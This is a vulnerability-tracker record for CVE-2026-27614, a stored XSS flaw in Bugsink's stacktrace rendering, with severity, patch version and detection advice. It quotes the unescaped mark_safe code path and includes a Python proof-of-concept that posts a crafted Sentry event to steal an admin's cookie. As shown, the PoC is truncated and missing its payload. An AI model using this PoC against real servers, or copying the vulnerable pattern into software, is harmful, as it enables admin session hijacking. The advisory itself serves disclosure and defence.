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Response snapshot Oct 27, 2026, 16:01 UTC

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VulnerabilityCVE-2026-27614

Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

Published Updated

At a glance

Exploited
Not known
Severity
9.3 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: bugsink: 2.0.13. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-vp6q-7m36-pq3w (opens a new tab)

What happened

### Summary

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

### Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject.

Continue reading

The payload sits in the database until an admin looks at the event.

```python # issues.py:75-77 - fallback path, no escaping if len(pygmented) != len(lines): return lines # raw HTML returned here

# issues.py:111-113 - unconditional mark_safe return [mark_safe(line) for line in result] ```

### Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

``` "Pygments line count mismatch, falling back to unformatted code" ```

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.

### PoC

Send a Sentry event to `/api/ /store/` with a valid DSN:

```python import requests

payload = { "exception": {"values": [{"stacktrace": {"frames": [{ "filename": "app.rb", "lineno": 2, "pre_context": [" ", "post_context": [] }]}}]} }

requests.post( "http://bugsink-host/api/ /store/", json=payload, headers={"X-Sentry-Auth": "Sentry sentry_key= , sentry_version=7"} ) ```

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

### Impact

This is a stored XSS vulnerability.

Successful exploitation requires:

* The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it). * The Bugsink ingest endpoint is reachable to the attacker. * An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.

Affected package ranges reported by GitHub: bugsink: <= 2.0.12

Scores and how they were measured

CVSS base severity

9.3

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-vp6q-7m36-pq3w (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-vp6q-7m36-pq3w, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering (CVE-2026-27614). https://kevwire.com/record/CVE-2026-27614

MLA

"Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering (CVE-2026-27614)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-27614.

Chicago

KEVWire. "Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering (CVE-2026-27614)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-27614.

Evidence summary (plain text)

Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering (Feb 25, 2026).
An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event.
The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), `_pygmentize_lines()` in `theme/templatetags/issues.py:75-77` falls back to returning the raw input lines. `mark_safe()` at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.
CVSS 9.3 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-vp6q-7m36-pq3w).
Sources:
GitHub-reviewed advisory GHSA-vp6q-7m36-pq3w: https://github.com/advisories/GHSA-vp6q-7m36-pq3w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-27614.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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